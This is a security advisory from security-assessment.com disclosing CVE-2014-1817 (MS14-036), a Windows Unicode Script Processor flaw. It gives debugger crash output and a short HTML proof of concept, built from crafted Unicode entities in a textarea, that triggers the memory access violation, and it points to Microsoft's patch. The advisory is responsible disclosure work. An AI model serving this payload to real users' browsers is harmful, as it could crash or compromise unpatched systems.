security-assessment.com

Vulnerability Advisory

Name	Microsoft Windows Unicode Script Processor Vulnerability (MS14-036)
CVE	CVE-2014-1817
Vendor Website	http://www.microsoft.com/
Date Released	10/06/2014
Affected Software	Microsoft Windows Server 2003 SP2 Windows Vista SP2 Windows Server 2008 SP2 and R2 SP1 Windows 7 SP1 Windows 8 Windows 8.1 Windows Server 2012 Gold and R2 Windows RT Gold and 8.1 Office 2007 SP3 and 2010 SP1 and SP2 Live Meeting 2007 Console Lync 2010 and 2013 Lync 2010 Attendee Lync Basic 2013
Researchers	Scott Bell

Description

A remote code execution vulnerability exists in the way that affected components handle specially crafted font files. The vulnerability could allow remote code execution if a user opens a specially crafted file or webpage. An attacker who successfully exploited this vulnerability could take complete control of an affected system.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(180.b5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=00220598 ecx=0000f012 edx=00000000 esi=001ac250 edi=001aba88
eip=02dfdb68 esp=0262972c ebp=0262974c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msls31!CutTextDobj+0x9d9:
02dfdb68 0313          add     edx,dword ptr [ebx]  ds:0023:00220598=????????
1:019> u
msls31!CutTextDobj+0x9d9:
02dfdb68 0313          add     edx,dword ptr [ebx]
02dfdb6a 83c304        add     ebx,4
02dfdb6d 48            dec     eax
02dfdb6e 75f8          jne     msls31!CutTextDobj+0x9d9 (02dfdb68)
02dfdb70 52            push    edx
02dfdb71 ff36          push    dword ptr [esi]
02dfdb73 ff7708        push    dword ptr [edi+8]
02dfdb76 e8fc94ffff    call    msls31!LsdnSetSimpleWidth (02df7077)
1:019> k
ChildEBP RetAddr
0262974c 02dfebbc msls31!CutTextDobj+0x9d9
0262979c 02dfece2 msls31!ModifyLastCharInChunk+0xe85
026297d0 02dfed56 msls31!ModifyLastCharInChunk+0xfaa
026297ec 02e00b47 msls31!NominalToIdealText+0x3b
02629830 02df05af msls31!ApplyNominalToIdeal+0xd4
026298d0 02de4df5 msls31!ProcessOneRun+0x4ee
0262992c 02df7cb8 msls31!FetchAppendEscCore+0x18e
02629984 02df5f33 msls31!FetchAppendEscResumeCore+0x164
026299d8 02e00d79 msls31!LsFetchAppendToCurrentSublineResume+0xcb
02629a2c 02e00f24 msls31!FormatResumedLine+0x5d
02629a6c 02e015dd msls31!FormatLine+0x32
02629ab4 02de4cba msls31!ReverseFmt+0x89
02629b44 02de4df5 msls31!ProcessOneRun+0x3e6
02629ba0 02de4f2d msls31!FetchAppendEscCore+0x18e
02629bf4 02de4e89 msls31!LsDestroyLine+0x47c
02629c7c 02de2725 msls31!LsDestroyLine+0x9fc
02629cb8 3cf55c76 msls31!LsCreateLine+0xcb
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html lang="el">
<body>
<textarea>
<optgroup>&#1111;&#2100; &#1600;&#9283;&#2157;&#8205;&#1652;&#9283;&#2157;&#8205;&#1652;&#9283;&#2157;&#8205;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;&#9999;</optgroup>
</textarea>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-036) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com